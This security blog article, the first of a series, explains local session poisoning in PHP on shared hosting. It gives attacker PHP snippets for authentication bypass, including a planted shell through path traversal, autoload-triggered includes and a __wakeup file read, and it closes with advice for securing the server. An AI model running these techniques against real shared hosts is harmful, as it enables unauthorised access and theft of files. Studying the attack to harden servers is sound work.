Articles of Haxxor Security

Mango

Session poisoning is the act of manipulating sessions specific data in PHP. To add, change or remove variables stored in the super global $_SESSION array.

Local session poisoning is enabled by the fact that one web application can manipulate a variable in the $_SESSION array while another web application has no way of knowing how that variable's value came to be, and will interpret the variable according to its own logic. The $_SESSION array can then be manipulated to contain the values needed to spoof a logged in user or exploit a vulnerable function. PHP programmers put far more trust in $_SESSION variables than for example $_GET variables. The $_SESSION array is considered an internal variable, and an internal variable would never contain malicious input, would it?

Article series

Part 1: The Basics of Exploitation and How to Secure a Server
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html

Part 2: Promiscuous Session Files
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html

Part 3: Bypassing Suhosin's Session Encryption
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html

PHP's session storage

By default PHP's option "session.save_handler" is set to "files" which is the most commonly used session handler. In this configuration a serialized string representation of the $_SESSION array is stored in a file. These files are stored in a directory specified by the configuration option "session.save_path", and their names are composed of the prefix "sess_" followed by the session id.

The default way to tie a client to a session is to store the session id in a cookie called "PHPSESSID". The client can easily switch between session by modifying this cookie.

Shared hosting environments

In shared hosts it is a common practice to use a collective session storage, to store all of the hosted web applications' session files in the same folder. This type of configuration is strongly advised against as it in just about every case is vulnerable to session poisoning and enables local users to insert arbitrary variables in other users' web application sessions.

There are security layers, patches and plugins to PHP which you would think prevents local session poisoning in shared hosts. suPHP and suEXEC uses ownership and strict permissions on the files in PHP's session storage. However it is trivial to fool this system, as described in part two of this article series. Suhosin offers options to encrypt the session files but in its default configuration it can easily be bypassed, as described in part three of this article series.

Local session poisoning is a significant threat even when faced with a remote attacker. If a determined attacker fails to find any exploitable vulnerabilities in a web application, but notices that the web application resides in a shared host, the attacker would enumerate other domain names resolving to the same IP by for example utilizing http://www.ip-neighbors.com, http://hostspy.org/, http://www.my-ip-neighbors.com/ or Bing's ip search operator. One of the neighbouring web applications is bound to have an unpatched flaw. When exploited, the remote attacker possesses all the capabilities of a local user and continues to attack the desired target from within the hosting server.

Example 1: Spoofing variables

The easiest path of exploitation is to focus on the parts of an application that utilizes sessions. By

spoofing values one could fool its internal logic and for example bypass authentication.

Consider an autentication routine like this one present in a web application on domain A.

```
// Starting the session
session_start();
// Authentication
if(isset($_SESSION['isLoggedIn']) && $_SESSION['isLoggedIn']){
 // Already authenticated, proceed.
 haveAwsomeAmountsOfFun();
}elseif(isset($_POST['loginButton'])){
 // Loggin in. Check credentials.
 $_SESSION['isLoggedIn'] = checkCredentials($_POST['username'],
$_POST['password']);
}else{
 // Not logged in. Show login form.
 showLoginForm();
 exit();
}
```

Domain B is a separate domain hosted on the same server. By running this code on domain B one could spoof authentication for domain A.

```
// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['isLoggedIn'] = true;
// Close the session
session_write_close();
```

Now the variable $_SESSION['isLoggedIn'] is set to true and session id "16khau0g8c3mp3t3jbsedsc1mf0blvpu", when used on domain A, is authenticated.

Example 2: Exploitable function calls

Because of the inherit trust the $_SESSION array possesses due to its status as an internal variable, PHP programmers do not sanitize its values. Where one would never trust the contents of a $_GET variable, the contents of a $_SESSION variable is usually considered to be safe.

Consider this potential flaw in a web application on domain A.

```
// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
 include('themes/'.$_SESSION['theme'].'.php');
}else{
 include('themes/default.php');
}
```

And this code sample required to exploit it from domain B.

```
// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
```

```
8session_write_close();
```
When the web application on domain A is executed with session id "16khau0g8c3mp3t3jbsedsc1mf0blvpu", "themes/../../../../mallroy/public_html/shell.php" would be included.

Example 3: Autoloading classes

If an autoload function has been defined before the session is started, it will automatically be called to try to load any undefined class. If the session includes an object using an undefined class, the objects class name will be passed as the first argument to the autoload function when the object is being unserialized by the session handler. An autoload function will usually try to include a file derived from that name, like this.

?

```
1// Setup autoload function
2function __autoload($class_name) {
3    include $class_name . '.php';
4}
5
6// ...
7
8// Starting the session
9session_start();
```
Any object stored in the $_SESSION array will trigger the autoload. This code sample used on domain B would subsequently cause domain A to include the file ClassName.php.

?

```
1 // Define class
2 class ClassName{}
3
4 // Inser your session id.
5 session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
6 // Start the session
7 session_start();
8 // Spoof a variable
9 $_SESSION['anyvar'] = new ClassName();
10// Close the session
11session_write_close();
```
Path traversal is not possible because both the dot and the slash are invalid characters in an objects name. Valid characters are A-Z, a-z, 0-9, _ and \x80-\xFF. As of PHP 5.3 the backslash character is also valid due to its use as a namespace separator. In Windows hosts, the backslash can be used as directory separator and cause an autoload function to include files from subfolders. However some programmers build their autoload function to replace underlines with slashes to allow it to naturally include files from subfolders.

Example 4: Invoking an objects sleep- and wakeup methods

A class may define a sleep- and a wakeup method. When an object, of a previously defined or autoloaded class, in the session array is unserialized by the session handler its wakeup method is invoked, and when serialized its sleep method is invoked. This causes an unnatural flow in the code and might expose otherwise unreachable flaws, specially since all the internal variables in the object can set arbitrarily.

Here is an example of a vulnerable logging class on domain A which loads a file in its wakeup method.

?

```
1 class VulnLogClass{
2  protected $logfile = 'error.log';
3  protected $logdata = '';
4
5  // Various logging methods here ...
6
7  public function __wakeup(){
8   // Load log from file
```

```
9    $this->logdata = file_get_contents($this->logfile);
10  }
11}
12
13// Starting the session
14session_start();
```

Using this code sample on domain B one could subsequently cause the web application on domain A to read the contents of an arbitrary file into a variable in the object when executed with this session.

```
1  // Define a dummy class with modified variables
2  class VulnLogClass{
3   protected $logfile = '../secret.php';
4   protected $logdata = '';
5  }
6
7  // Inser your session id.
8  session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
9  // Start the session
10session_start();
11// Store an instance of the dummy class in $_SESSION
12$_SESSION['anyvar'] = new VulnLogClass();
13// Close the session
14session_write_close();
```

Domain B could then view the contents like this.

```
1  // Define a dummy class with the same name
2  class VulnLogClass{}
3
4  // Inser your session id.
5  session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
6  // Start the session
7  session_start();
8  // Dump the data stored within the object.
9  var_dump($_SESSION['anyvar']);
10// Close the session
11session_write_close();
```

Should programmers sanitize session variables?

No, programmers should not sanitize session variables. The server admin is responsible for adequately securing the session files.

Securing a shared hosting environment

In shared hosts, session files from one web application should not reside in the same directory as that of another web application. And the directory they do reside in should not be readable nor writable by any one other than the owner. To accomplish this, for each user, create a user-owned folder and have its permissions set to 600. Then, for each user, set the runtime configuration option session.save_path to the path of their folder.

```
session.save_path /hsphere/local/home/exampleuser/sessionstorage
```

If Suhosin is installed on the server there is a slightly simpler way to secure the session storage. By utilizing session encryption all the session files can be kept together in a common folder. For this to be secure, each user must be assigned a unique encryption key as set by the configuration option suhosin.session.cryptkey.

```
suhosin.session.cryptkey 5up3rRan0mK3y)withSauc3+
```

The server administrator should configure the shared host using at least one of these two methods. One

way to accomplish this, if PHP is installed as an Apache module, is for each VirtualHost block in the Apache httpd.conf file to contain these settings prefixed by "php_value" as specified in the manual. If PHP is running in CGI/FastCGI mode, php.ini sections can be configured to accomplish the same goal. Other variations or special environments may need to be configured in their own way. The important thing is that each user has their own unique session storage path or encryption key. If however this has been neglected by the administrator, individual users can for example try to set these configuration options by themselves by adding them to a .htaccess-file or by any other means available in their environment.

http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html